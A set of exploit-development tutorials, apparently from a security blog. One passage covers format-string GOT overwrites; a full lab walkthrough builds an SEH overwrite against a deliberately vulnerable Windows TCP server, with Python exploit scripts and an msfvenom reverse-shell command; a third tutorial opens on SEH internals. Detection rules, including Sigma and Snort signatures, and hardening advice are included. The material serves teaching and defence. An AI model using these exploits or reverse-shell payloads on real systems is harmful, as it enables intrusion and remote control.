For our real target the value is win = 0x080491d6: low half 0x91d6 (37334), high half 0x0804 (2052). Because the high half is the smaller number, you flip the write order: write 0x0804 to A+2 first, then pad up to 0x91d6 and write to A. That ordering decision is precisely the arithmetic fmtstr_payload handles for you, and exactly where hand-rolled payloads go wrong.
For GOT patching where you want to avoid carrying values across half-word boundaries, prefer four %hhn byte writes (write_size='byte'). It produces a longer string but sidesteps the ascending-order headache entirely.
9. 64-bit Complications
Move to x86-64 and three things change.
First, the calling convention. The first five format arguments are pulled from rsi, rdx, rcx, r8, r9, so your stack-resident buffer typically first appears around offset %6$ or later. Re-run the offset hunt; do not assume 7.
Second, null bytes. A 64-bit address like 0x0000555555554abc is full of \0 bytes. As a C string, the first null terminates your input, truncating the payload before your address is even read. You cannot place raw 64-bit addresses inline the way you did on 32-bit.
Third, the fix. Use byte-granular writes with %hhn so each write target is reachable without embedding null-laden 8-byte values, and let pwntools place the addresses after the format directives where the truncation no longer matters:
context.arch = 'amd64'
payload = fmtstr_payload(offset, {elf.got['exit']: win_addr},
write_size='byte') # emits %hhn, null-safe ordering
fmtstr_payload knows the ABI and arranges the address table after the format specifiers, so the early null bytes never sit in front of a directive you still need to parse.
10. Mitigations, Bypass Strategies, and Hardening
| Mitigation | Effect on Exploit |
|---|---|
| Full RELRO | GOT becomes read-only after linking; GOT overwrite dies |
| ASLR | Randomises libc/stack/heap; need an info-leak first |
| PIE | Randomises binary base; leak base before writing |
| Stack canary | Irrelevant to %n writes unless you target saved $eip directly |
-Wformat-security | Flags printf(user) at compile time |
_FORTIFY_SOURCE=2 | Aborts on %n in a writable-memory format string in many configs; not a full block |
The read primitive is the universal solvent here. ASLR and PIE only force an ordering: leak before you write. Use %p or %s to pull a libc pointer or the binary base out of the GOT, subtract the known static offset, and compute the live address you actually want. Then build the write with that resolved value.
When Full RELRO closes the GOT, change targets, not techniques. Historically __malloc_hook and __free_hook were favorite writable function pointers, but both were removed in glibc 2.34, so they no longer exist on modern systems. The durable modern target is .fini_array: the destructor pointer array that exit() walks on the way out. Overwrite an entry there and you get control on normal program exit even with the GOT locked. Saved return addresses on the stack remain an option when the layout is predictable and ASLR is leaked.
For defenders, the class is eliminable, not merely mitigable:
- Compile with
-Wformat=2 -Wformat-security -Werror=format-securityand fail the build on any hit. - Enable
_FORTIFY_SOURCE=2in release builds. - Link Full RELRO:
-Wl,-z,relro,-z,now. - Deploy PIE and ASLR together.
- SAST it:
semgrepforprintf(var), CodeQLcpp/tainted-format-string,flawfinder. A blunt grep finds most of it:grep -rn "printf(" --include="*.c" | grep -v '"%'. - Sandbox with seccomp so a service process cannot
execvea shell even if its GOT is poisoned.

11. Common Attacker Techniques
| Technique | Description |
|---|---|
| Stack read chain | %p%p%p or %n$p to leak addresses, canaries, and libc base |
| Arbitrary read | Embedded address plus %s to dump any mapped string |
| GOT overwrite | %hn/%hhn write redirects a soon-to-be-called import |
.fini_array overwrite | RELRO-resistant write that fires destructors at exit() |
| Saved return overwrite | %n to a saved $eip/$rip when the stack is predictable |
| IDS evasion | Encoding or fragmenting %n/%x to dodge signature matching |
12. Defensive Strategies & Detection
Be honest about the telemetry: nothing on the host directly observes a malformed printf string. Detection is behavioral and lands on what happens after the GOT overwrite, plus crash artifacts from failed attempts.
| Signal | Source | Detail |
|---|---|---|
| Sysmon Event ID 1 (Process Create) | Sysmon | A daemon spawning /bin/sh or cmd.exe; pivot on ParentImage, ParentCommandLine |
| Sysmon Event ID 3 (Network Connection) | Sysmon | Post-exploit C2 from an exploited service |
| Sysmon Event ID 8 (CreateRemoteThread) | Sysmon | Shellcode threading into the victim after shell |
| Sysmon Event ID 11 (File Create) | Sysmon | Dropper staged to disk post-shell |
Auditd execve | auditd | -a always,exit -F arch=b32 -S execve catches execve("/bin/sh") |
ETW Microsoft-Windows-Kernel-Process | ETW | Anomalous parent to child lineage on Windows targets |
| Application crash logs | OS/app | A failed %s deref segfaults; correlate SIGSEGV with prior input carrying %x/%n/%s |
The high-value detection is parent-child lineage: a network service that has no business forking a shell suddenly becoming /bin/sh‘s parent.
title: Shell Spawned from Non-Interactive Service Process
status: experimental
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
ParentImage|contains:
- 'httpd'
- 'nginx'
- 'sshd'
- 'target'
condition: selection
fields:
- Image
- ParentImage
- ParentCommandLine
- CommandLine
falsepositives:
- Legitimate admin shell invocations
level: high
tags:
- attack.execution
- attack.t1203
For network-exposed services, catch the probe at the input layer. Sequences of %x, %p, %n, %s, %hn, %hhn, or %<digit>$ direct-parameter syntax are strong indicators of format-string fuzzing:
alert tcp any any -> $HOME_NET any (
msg:"FORMAT STRING PROBE - %n or %x sequence in payload";
content:"%n"; nocase;
sid:9000001; rev:1;
)
Treat input-layer signatures as tripwires, not gates. They are trivially encoded around, which is why hardening (RELRO, FORTIFY, seccomp) is the real control.

13. Tools for Format String Analysis
| Tool | Description | Link |
|---|---|---|
| pwntools | Exploit automation; fmtstr_payload builds the writes | docs.pwntools.com |
| checksec | Enumerates RELRO/PIE/canary/NX | github.com |
| objdump / readelf | GOT relocations and symbol addresses | gnu.org |
| GDB + pwndbg | got, stack inspection, write verification | github.com |
| ltrace | Watch the live printf arguments | ltrace.org |
| Ghidra | Static review of printf call sites | ghidra-sre.org |
| semgrep / flawfinder | SAST for printf(var) patterns | semgrep.dev |
14. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Crash logs, anomalous child processes from a vulnerable parent |
| Hijack Execution Flow | T1574 | GOT / .fini_array overwrite redirecting control |
| Process Injection | T1055 | Sysmon Event ID 8 after the shell lands |
| System Information Discovery | T1082 | %p read primitive enumerating stack/libc addresses |
| Deobfuscate/Decode Information | T1140 | Encoded format payloads dodging IDS signatures |
ATT&CK has no dedicated technique for format-string bugs specifically. The correct parents are T1203 for the execution and T1574 for the control-flow hijack; do not invent a sub-technique ID.
Summary
- A user-controlled
printfformat string is a full read/write primitive, not a crash bug. The missing"%s"lets the attacker drive_IO_vfprintf‘s argument walk directly. %p/%sleak arbitrary memory;%n/%hn/%hhnwrite arbitrary values, with width specifiers controlling exactly what gets written.- The offset to your own buffer is the master key – find it with
%N$p, then point reads and writes wherever you choose. - GOT overwrite to
wingives a shell on the lab binary; under Full RELRO, pivot to.fini_array(the old__malloc_hook/__free_hooktargets are gone as of glibc 2.34). - Detection is behavioral and post-exploitation – watch service processes spawning shells (Sysmon Event ID 1, auditd
execve), and kill the class at the source with-Werror=format-security, Full RELRO, FORTIFY, and seccomp.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
SEH Overwrite Exploits: Hijacking Exception Dispatch
Objective: Understand how 32-bit Windows Structured Exception Handling works from the TEB down to
RtlDispatchException, how a stack overflow corrupts the_EXCEPTION_REGISTRATION_RECORDchain, and how the POP/POP/RET technique turns a caught exception into reliable code execution – built end to end against a self-authored vulnerable TCP server in a lab VM, then paired with the SafeSEH/SEHOP/DEP/GS controls that kill it.
There’s a particular kind of crash that makes new exploit devs assume the bug is dead. You smash the stack, you check EIP, and it still reads a clean return address – the /GS cookie or some other guard caught the corruption and the program is now unwinding. Look closer. If that function ran inside a __try block, you didn’t just corrupt return addresses; you corrupted the exception handler pointers sitting on the stack, and the program is about to hand execution to one of them voluntarily. That is the whole game. SafeSEH gets a lot of press as the thing that stopped this, but in practice the bypass is often trivial – all it takes is one linked module in the process that forgot to opt in.
This walkthrough builds the bug, the primitive, and the payload from scratch.
1. Windows Exception Handling 101
An exception is a synchronous interruption to normal flow: a hardware fault (divide-by-zero, access violation, page fault) or a software-raised condition (RaiseException). Windows funnels both through the same dispatch machinery so the OS, the CRT, and the application all get a chance to handle or decline them.
In C/C++ on MSVC, you opt into that machinery with the __try / __except / __finally keywords:
__try {
*(int*)0 = 0xdead; // access violation
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("caught it\n"); // filter returned EXECUTE_HANDLER
}
At function entry, the compiler emits a prologue that pushes a new exception registration record onto the stack and links it into the thread’s SEH chain by updating FS:[0]. That record is two pointers wide. It lives on the stack, near your local buffers – which is exactly why a stack overflow can reach it.
2. The SEH Chain Internals
Every thread owns a Thread Environment Block (_TEB). The first member of the TEB is an _NT_TIB, and the first member of that is ExceptionList – the head of a singly-linked list of exception registration records. On x86 the TEB is reachable through the FS segment register, so the chain head sits at FS:[0x00].
typedef struct _NT_TIB {
PEXCEPTION_REGISTRATION_RECORD ExceptionList; // FS:[0x00] — head of SEH chain
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
// ...
struct _NT_TIB *Self;
} NT_TIB, *PNT_TIB;
typedef struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTION_REGISTRATION_RECORD *Next; // nSEH — next record (lower addr)
PEXCEPTION_ROUTINE Handler; // SEH — handler code (higher addr)
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
Each record is 8 bytes: a Next pointer (the field exploit writers call nSEH) followed by a Handler pointer (the SEH field). Records chain together until the final one, whose handler is the process-wide default – kernel32!UnhandledExceptionFilter – the thing that pops the “application has stopped working” dialog and terminates.
Walk the live chain in WinDbg with !exchain:
0:000> !exchain
0019ff70: vuln_seh_server!handle_client+0x5e (00401a8e)
0019ffcc: ntdll!_except_handler4 (77a1c2b0)
0019ffe4: ntdll!FinalExceptionHandler (779f3210)
Invalid exception stack at ffffffff
The address column is where each _EXCEPTION_REGISTRATION_RECORD lives on the stack. Overflow far enough and the first entry’s handler becomes 41414141.
| Struct / Symbol | Key Fields | Role |
|---|---|---|
_EXCEPTION_REGISTRATION_RECORD | Next (nSEH), Handler (SEH) | 8-byte stack record; the overwrite target |
_NT_TIB | ExceptionList at 0x00, StackBase, StackLimit, Self | Head of the chain at FS:[0] |
_TEB | _NT_TIB at offset 0 | Per-thread block reached via FS:[0] |
EXCEPTION_RECORD | ExceptionCode, ExceptionAddress, ExceptionInformation[] | Describes the fault to each handler |
CONTEXT | Eip, Esp, Ebp, GP/segment/FP regs | Thread register state at fault time |

3. Exception Dispatch Flow: Kernel to User Mode
When the CPU faults, the kernel takes the trap, builds an EXCEPTION_RECORD plus a CONTEXT, and reflects the exception back into user mode at a fixed entry point. The flow:
ntdll!KiUserExceptionDispatcher– first user-mode function in the chain; a thin shim that callsRtlDispatchExceptionand inspects the result.ntdll!RtlDispatchException– walksExceptionList, runs validation on each record, and dispatches to each registered handler in turn.ntdll!RtlIsValidHandler– where SafeSEH is actually enforced; it callsRtlpxLookupFunctionTableto check the handler against the module’sSEHandlerTable.- Handler callback – invoked with the
EstablisherFrameas its second argument. ZwContinueif the exception was handled, orZwRaiseExceptionifRtlDispatchExceptionreturned 0 (nobody handled it).
Before it ever calls a handler, RtlDispatchException runs three sanity checks that shape everything about how the exploit must be built:
| Check | Requirement |
|---|---|
| Handler not on the stack | The handler address must be outside [StackLimit, StackBase] |
| Record on the stack | The _EXCEPTION_REGISTRATION_RECORD itself must sit on the stack |
| Record alignment | The record address must be properly byte-aligned |
The first check is the killer. You can overwrite the Handler field with a pointer straight to your shellcode on the stack – and the dispatcher will refuse to call it, because that address lives in stack memory. You need to redirect through code that is not on the stack first, then bounce back. That is precisely what POP/POP/RET does, and it’s why the technique is mandatory even against binaries with no SafeSEH at all.
4. Stack Layout Under a Vulnerable Overflow
The stack grows toward lower addresses, but your strcpy writes toward higher addresses. Inside a __try, the record sits above your locals, so a linear overflow runs:
low addr ┌────────────────────────┐
│ char buf[512] │ ← strcpy starts here, writes upward
│ ...saved regs/cookie │
nSEH ───► │ Next (4 bytes) │ ← overwritten with short-jump stub
SEH ───► │ Handler (4 bytes) │ ← overwritten with POP/POP/RET address
│ shellcode... │ ← lands right after the record
high addr └────────────────────────┘
Both fields get clobbered in the same pass because they’re adjacent. That’s the layout that makes the technique work: nSEH (lower) holds a tiny jump, SEH (higher) holds the gadget, and your payload follows immediately after.
5. The POP/POP/RET Gadget – Theory and Mechanics
When RtlDispatchException calls the handler, the raw SEH callback signature is:
EXCEPTION_DISPOSITION NTAPI _except_handler(
_Inout_ struct _EXCEPTION_RECORD *ExceptionRecord,
_In_ PVOID EstablisherFrame, // ← address of OUR record
_Inout_ struct _CONTEXT *ContextRecord,
_In_ PVOID DispatcherContext
);
EstablisherFrame is the address of the exception registration record being dispatched – which, after the overflow, is the stack address of our overwritten nSEH. At the moment of the call, the stack looks like:
; [ESP+00] return address into ntdll
; [ESP+04] ExceptionRecord*
; [ESP+08] EstablisherFrame <-- pointer to our nSEH on the stack
; [ESP+0C] ContextRecord*
; [ESP+10] DispatcherContext*
Now run a gadget of the form pop <reg> ; pop <reg> ; ret:
- First
popdiscards[ESP+00](the return address). - Second
popdiscards[ESP+04](theExceptionRecordpointer). retpops[ESP+08]–EstablisherFrame– intoEIP.
EIP is now the stack address of our nSEH. The CPU starts executing the bytes we wrote there. We control them. Any two general-purpose register pops work; the registers themselves are irrelevant – we only care that ESP advances 8 bytes and ret consumes the EstablisherFrame.
nSEH is only 4 bytes, but 4 bytes is enough for a short jump that hops over the SEH field into the shellcode that follows.
, which redirects EIP to the nSEH short-jump stub, which then jumps into the shellcode](https://genxcyber.com/wp-content/uploads/2026/06/seh-overwrite-exploit-pop-pop-ret-windows-2-scaled.png)
6. Building the Lab Target
Compile this with MSVC for x86, mitigations deliberately off. It listens on TCP 9999 and strcpys network input into a 512-byte stack buffer inside a __try – guaranteeing an SEH record sits above the overflow.
// vuln_seh_server.c — intentionally vulnerable lab target
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
void handle_client(SOCKET s) {
char buf[512]; // fixed-size stack buffer
char recv_buf[4096];
int n = recv(s, recv_buf, sizeof(recv_buf)-1, 0);
if (n <= 0) return;
recv_buf[n] = '\0';
#ifdef _MSC_VER
__try {
strcpy(buf, recv_buf); // ← unsafe copy: overflows into nSEH + SEH
printf("Received: %s\n", buf);
}
__except(EXCEPTION_EXECUTE_HANDLER) {
printf("Exception caught (benign handler)\n");
}
#else
strcpy(buf, recv_buf); // ← unsafe copy: overflows into nSEH + SEH
printf("Received: %s\n", buf);
#endif
}
int main() {
WSADATA wsa; WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET srv = socket(AF_INET,SOCK_STREAM,0);
struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
bind(srv,(struct sockaddr*)&addr,sizeof(addr));
listen(srv,1);
printf("[*] Listening on port 9999\n");
SOCKET cli = accept(srv,NULL,NULL);
handle_client(cli);
closesocket(cli); closesocket(srv); WSACleanup();
return 0;
}
cl.exe /MT /Zi /GS- /SAFESEH:NO /NXCOMPAT:NO /DYNAMICBASE:NO vuln_seh_server.c /link /SAFESEH:NO
VM setup: Windows 10 x86 (32-bit), Immunity Debugger + mona.py (or x64dbg-32 + ERC). Disable Defender. Turn DEP off for the first pass with bcdedit /set nx AlwaysOff and reboot; you’ll switch it back on for the advanced exercise.
7. Lab Walkthrough: Building the Exploit Step by Step
Step 1 – Crash verification
# crash.py
import socket
payload = b"A" * 2000
s = socket.socket(); s.connect(("192.168.x.x", 9999))
s.send(payload); s.close()
Attach Immunity to the running server first, then fire. Open View → SEH chain (or !exchain in WinDbg). Both nSEH and SEH read 41414141. The access violation occurred, the dispatcher walked the chain, and our AAAA is now the handler.
Step 2 – Find the nSEH/SEH offset
msf-pattern_create -l 2000 > pattern.txt
# offset_fuzz.py
import socket
pattern = open("pattern.txt","rb").read()
s = socket.socket(); s.connect(("192.168.x.x", 9999))
s.send(pattern); s.close()
After the crash, read the nSEH value out of the SEH chain window and feed it back:
msf-pattern_offset -l 2000 -q '<nSEH_value>'
# [*] Exact match at offset 524
Layout locked in: [524 × 'A'][4 nSEH][4 SEH][shellcode...].
Step 3 – Bad character analysis
# Place all bytes 0x01–0xFF in the shellcode region and diff in the debugger
badchars = bytes(range(1, 256))
payload = b"A"*524 + b"B"*4 + b"C"*4 + badchars
For this target the obvious offender is \x00 – strcpy stops dead at the first null. The classic SEH bad set is \x00\x0a\x0d. I once burned the better part of an afternoon on a “broken” gadget that turned out fine; the real problem was a 0x0a mid-shellcode that strcpy happily copied but the parser upstream had chewed into a line break. Run the badchar pass before you trust any address. Document the set for msfvenom.
Step 4 – Find a POP/POP/RET in a non-SafeSEH module
In Immunity with mona:
!mona seh -n
The -n flag restricts results to modules without SafeSEH and without ASLR – exactly the constraints the dispatcher’s validation forces on us. A result line looks like:
0x61617619 : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [EPG.dll]
x64dbg users get the same with ERC:
ERC --SEH
Pick an address free of your bad characters. Verify by hand – disassemble it and confirm it really is two register pops and a ret. Note the address; it must be the module’s code, never the stack.
Step 5 – Craft the nSEH short-jump stub
nSEH is only 4 bytes and it gets executed first (the gadget’s ret lands there). A near-relative short jump is \xEB + signed displacement. We need to clear the 4-byte SEH field, so jump 6 bytes forward and pad to width with NOPs:
\xEB\x06 ; jmp $+8 (6-byte relative jump from end of this instruction)
\x90\x90 ; NOP padding to fill the 4-byte nSEH field
So nSEH = \xeb\x06\x90\x90. Execution at nSEH hops over the 4-byte handler field and lands in the shellcode buffer that follows the record.
Step 6 – Generate shellcode
# Proof-of-life
msfvenom -p windows/exec CMD=calc.exe \
-b "\x00\x0a\x0d" -f python --var-name shellcode
# Lab-only reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.x.x LPORT=4444 \
-b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python --var-name shellcode
Step 7 – Final exploit
#!/usr/bin/env python3
# exploit_seh.py — lab target only, authorized testing
import socket, struct
OFFSET_TO_NSEH = 524
# nSEH: short jump over the 4-byte SEH field into the shellcode
nSEH = b"\xeb\x06\x90\x90"
# SEH: POP/POP/RET address from a non-SafeSEH DLL (little-endian)
SEH_HANDLER = struct.pack("<I", 0x61617619) # replace with YOUR gadget
# Shellcode: NOP sled + msfvenom output (no bad chars)
shellcode = b"\x90" * 16
shellcode += b"\xdb\xcc..." # paste msfvenom python output
payload = b"A" * OFFSET_TO_NSEH
payload += nSEH # +0 jmp +6
payload += SEH_HANDLER # +4 POP/POP/RET -> EIP = address of nSEH
payload += shellcode # +8 jump lands here
s = socket.socket()
s.connect(("192.168.x.x", 9999))
s.send(payload)
s.close()
print("[*] Payload sent")
Step 8 – Verify the flow in the debugger
- Breakpoint on the POP/POP/RET address.
- Send the exploit; on the first-chance access violation, pass it to the app with Shift+F9 so the dispatcher actually invokes the handler.
- Single-step the gadget: two pops, then
retloads the stack address of nSEH intoEIP. \xEB\x06jumps 6 bytes into the NOP sled, then the shellcode fires. Calc spawns, or your listener catches the shell.
The order is counter-intuitive the first time you watch it: the ret jumps backward in the payload (into nSEH), and nSEH then jumps forward over the handler field into the shellcode. Two hops, by design, because the dispatcher won’t let us point straight at the stack.
8. Mitigation Deep Dive: SafeSEH, SEHOP, DEP, /GS
| Mitigation | Mechanism | Bypass condition |
|---|---|---|
SafeSEH (/SAFESEH) | PE stores a SEHandlerTable in IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG; RtlIsValidHandler checks every handler against it | Source the POP/POP/RET from a non-SafeSEH module loaded in the same process |
| SEHOP | Dispatcher appends a terminal record and verifies the chain reaches ntdll!FinalExceptionHandler; overwriting Handler corrupts Next, breaking reachability | Reconstruct a valid synthetic chain ending at the final handler; default-on for Server, default-off for desktop |
| DEP / NX | Stack pages marked non-executable | Shellcode must live in executable memory, or pivot through a VirtualProtect/VirtualAlloc ROP chain |
| /GS cookie | Random cookie checked before ret to catch sequential overwrites | Defeat via out-of-order write, leak, or – as here – reach SEH before the cookie check matters |
| 64-bit SEH | x64 uses static UNWIND_INFO tables interpreted by the system; no runtime handler list on the stack | Classic SEH overwrite is 32-bit only |
Check what a binary actually enabled before you waste time:
dumpbin /loadconfig vuln_seh_server.exe :: shows "Safe Exception Handler Table"
!mona modules :: SafeSEH / ASLR / NX / Rebase per module
Advanced exercise – re-enable, one at a time:
- SafeSEH on. Your gadget from a protected module is now rejected by
RtlIsValidHandler. Find one in any non-SafeSEH DLL in the address space – there’s almost always one. - SEHOP on. The chain-walk fails reachability and the process is terminated instead of executing your handler. Watch the termination, then study the synthetic-chain reconstruction (understanding only) – you must rebuild a chain that still threads back to
ntdll!FinalExceptionHandler. - DEP on. The stack shellcode no longer executes. Introduce a small ROP stub that calls
VirtualProtectto flip the stack to RX, then pivots into the shellcode – the gateway into return-oriented programming.

9. Common Attacker Techniques
| Technique | Description |
|---|---|
| SEH handler overwrite | Clobber the Handler field and redirect dispatch via POP/POP/RET |
| nSEH short-jump pivot | Use the 4-byte Next field as a jump stub into adjacent shellcode |
| Non-SafeSEH gadget sourcing | Pull POP/POP/RET from a module that opted out of /SAFESEH |
| Egg-hunting | When space after the record is tight, jump to a small hunter that scans memory for a tagged larger payload |
| Synthetic SEH chain | Rebuild a valid-looking chain to slip past SEHOP reachability checks |
| ROP-assisted DEP bypass | Chain VirtualProtect/VirtualAlloc gadgets to make the stack executable before pivoting |
10. Defensive Strategies & Detection
SEH chain corruption is a CPU/kernel-level event – user-mode telemetry like Sysmon never sees the overwrite itself. You detect the outcome: an unexpected child process, an outbound connection from a service that shouldn’t make one, or a tell-tale crash burst from fuzzing.
| Sysmon Event ID | Field to alert on | Rationale |
|---|---|---|
| Event ID 1 (Process Create) | ParentImage = the vulnerable service spawning cmd.exe/powershell.exe/calc.exe; odd CommandLine | Shellcode launching a child shell |
| Event ID 3 (Network Connect) | SourceImage = the server connecting outbound to an unusual DestinationPort/IP | Reverse-shell callback |
| Event ID 7 (Image Load) | Signed = false, suspicious ImageLoaded after the crash window | Second-stage DLL |
| Event ID 5 (Process Terminate) | Abnormal termination of the service | Failed exploit / SEHOP kill |
| Event ID 11 (File Create) | Writes into %TEMP%/%APPDATA% right after activity | Payload staging |
Windows Security log: 4688 (process creation with full command line, given Audit Process Creation + command-line inclusion) catches spawned shells. Application log 1000/1001 (WER) flags repeated service crashes – a fuzzing/spraying canary.
ETW providers worth subscribing:
– Microsoft-Windows-WER-SystemErrorReporting – process fault data; repeated crashes betray a campaign.
– Microsoft-Windows-Security-Mitigations (GUID {FAC7F9EB-5B9A-4D80-8D9E-9ABF6B3B83C0}) – logs SEHOP/DEP-triggered terminations. Confirm with logman query providers | findstr Mitigations.
– Microsoft-Windows-Kernel-Process – lifetime events for correlation.
title: Suspicious Child Process from Network Service (SEH Exploit Post-Exploitation)
status: experimental
logsource:
product: windows
category: process_creation
detection:
selection:
EventID: 1
ParentImage|endswith:
- '\vuln_seh_server.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\whoami.exe'
condition: selection
fields:
- ParentImage
- Image
- CommandLine
- User
falsepositives:
- Legitimate admin scripts spawned by the service
level: high
Hardening: compile with /SAFESEH and /GS; enable SEHOP system-wide (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = 0) or via Exploit Guard; force DEP (bcdedit /set nx AlwaysOn); enable ASLR. None of these alone is decisive – /GS plus SafeSEH plus SEHOP plus DEP, stacked, is what makes the classic SEH overwrite infeasible.

11. Tools for SEH Exploit Analysis
| Tool | Description | Link |
|---|---|---|
| Immunity Debugger + mona.py | SEH chain view, !mona seh -n, badchar/module triage | immunityinc.com |
| x64dbg + ERC | ERC --SEH gadget discovery on the 32-bit build | x64dbg.com |
| WinDbg | !exchain, _EXCEPTION_REGISTRATION_RECORD inspection | microsoft.com |
msf-pattern_create / _offset | Cyclic pattern offset discovery | metasploit.com |
| msfvenom | Bad-char-aware shellcode generation/encoding | metasploit.com |
dumpbin /loadconfig | Confirm SafeSEH table presence in a PE | microsoft.com |
| Ghidra | Static review of handler frames and __try regions | ghidra-sre.org |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Exploitation for Client Execution | T1203 | Sysmon EID 1 child-process anomalies from a client app |
| Exploitation of Remote Services | T1210 | Outbound connect from a listening service (EID 3); WER crash bursts |
| Exploitation for Privilege Escalation | T1068 | Shell spawned under a high-privilege service account |
| Command and Scripting Interpreter: Windows Command Shell | T1059.003 | cmd.exe parented by the vulnerable EXE |
| Process Injection | T1055 | Post-exploit injection into a host process |
ATT&CK has no SEH-overwrite sub-technique. Map server-side delivery (the lab here) to T1210, client-side to T1203, and add T1068 when the service runs elevated.
Summary
- An SEH overwrite weaponizes Windows’ own exception dispatcher: corrupt the on-stack
_EXCEPTION_REGISTRATION_RECORD, and the OS hands you control when it tries to handle the fault you caused. - The dispatcher’s three validation checks – handler off-stack, record on-stack, aligned – are why a direct pointer-to-shellcode fails and POP/POP/RET is mandatory even without SafeSEH.
- nSEH carries a 4-byte short jump (
\xeb\x06\x90\x90); SEH carries a POP/POP/RET gadget sourced from a non-SafeSEH module; the gadget’sretlands on nSEH, which hops into the shellcode. - The technique is 32-bit only – x64 SEH uses static
UNWIND_INFOtables, not a stack-resident handler list. - Stacked mitigations (
/GS+ SafeSEH + SEHOP + DEP + ASLR) defeat it; detection is behavioral – Sysmon EID 1/3/5, WER crash telemetry, and theSecurity-MitigationsETW provider.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
Structured Exception Handler (SEH) Internals on Windows
You’ve got a stack overflow in a network service, but EIP is zeroed out at dispatch time and the OS won’t let you point the handler at the stack. Classic SEH exploitation looks broken until you understand why the dispatcher pushes those two pointers – and how two POPs and a RET turn the OS’s own calling convention into your pivot. This tutorial tears SEH apart from the data structures up through a working exploit against a self-built vulnerable server, then shows you exactly what a defender sees when it fires.
Everything here is x86 only. On x64, exception handlers live in .pdata unwind tables baked into the PE, not on the stack – there’s no chain to corrupt. If you’re targeting WOW64 processes, the 32-bit SEH mechanics still apply.
1. Exception Handling Fundamentals
Windows exceptions come in two flavors: hardware (CPU traps – access violations 0xC0000005, divide-by-zero 0xC0000094, breakpoints 0x80000003) and software (raised explicitly via RaiseException() or a C++ throw). Both funnel through the same dispatch machinery.
MSVC exposes SEH through non-standard keywords:
__try {
// guarded body
} __except(EXCEPTION_EXECUTE_HANDLER) {
// handler — runs if filter returns 1
}
The __except filter expression returns one of three values:
| Value | Constant | Meaning |
|---|---|---|
1 | EXCEPTION_EXECUTE_HANDLER | Execute the handler block |
0 | EXCEPTION_CONTINUE_SEARCH | Pass to next handler in chain |
-1 | EXCEPTION_CONTINUE_EXECUTION | Re-execute faulting instruction |
The dispatch model is two-pass: first pass walks the chain looking for a handler whose filter says “I’ll take it”; second pass unwinds frames via RtlUnwind, calling __finally blocks on the way up. If nobody claims the exception, kernel32!UnhandledExceptionFilter gets it – the familiar crash dialog.
VEH (Vectored Exception Handling) coexists with SEH but fires first. VEH handlers are registered globally via AddVectoredExceptionHandler() and checked before the per-thread SEH chain is walked. For exploitation purposes, we care about the per-thread chain on the stack.
2. The SEH Chain: Structures and Memory Layout
Every thread’s SEH chain starts at FS:[0] – the first field of _NT_TIB inside the Thread Environment Block (_TEB). That pointer references the head of a singly-linked list of 8-byte records:
typedef struct _EXCEPTION_REGISTRATION_RECORD {
struct _EXCEPTION_REGISTRATION_RECORD *Next; // 4 bytes — pointer to previous record
PEXCEPTION_ROUTINE Handler; // 4 bytes — pointer to handler function
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
The chain terminates when Next == 0xFFFFFFFF. Because these records live on the stack and the stack grows downward, the most recent __try block’s record sits at the lowest address. In memory, Next (often called nSEH in exploit-dev shorthand) sits below Handler (called SEH) – this matters because a linear buffer overflow hits Next first, then Handler four bytes later.
The MSVC runtime actually pushes a larger structure for scope tracking:
typedef struct _EH4_EXCEPTION_REGISTRATION_RECORD {
PVOID SavedESP;
PEXCEPTION_POINTERS ExceptionPointers;
EXCEPTION_REGISTRATION_RECORD SubRecord; // Next + Handler
UINT_PTR EncodedScopeTable;
ULONG TryLevel;
} EH4_EXCEPTION_REGISTRATION_RECORD;
The TryLevel field tracks which __try block is active; __except_handler4 (used when /GS is on) encodes the scope table pointer with a security cookie to detect tampering. When you compile with /GS-, the older __except_handler3 skips that check – which is why our lab target uses /GS-.
Inspecting the Chain Live
In WinDbg attached to a 32-bit process:
0:000> !teb
TEB at 7ffde000
ExceptionList: 0019ff64 ← head of SEH chain
0:000> !exchain
0019ff64: ntdll!_except_handler4+0 (77a1d040)
0019ffcc: ntdll!FinalExceptionHandlerPad54+0 (77a4e477)
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0019ff64
+0x000 Next : 0x0019ffcc
+0x004 Handler : 0x77a1d040
That FinalExceptionHandlerPad entry near 0xFFFFFFFF is the system’s tail handler – the last resort before UnhandledExceptionFilter.
![Diagram showing the Windows SEH chain linked from TEB [FS:[0]](https://genxcyber.com/threads-and-the-teb-thread-environment-block/) through stack-resident EXCEPTION_REGISTRATION_RECORD structures to the terminal OS handler at 0xFFFFFFFF](https://genxcyber.com/wp-content/uploads/2026/06/seh-exploit-development-windows-x86-internals-1.png)
3. Dispatch Internals: From Fault to Handler
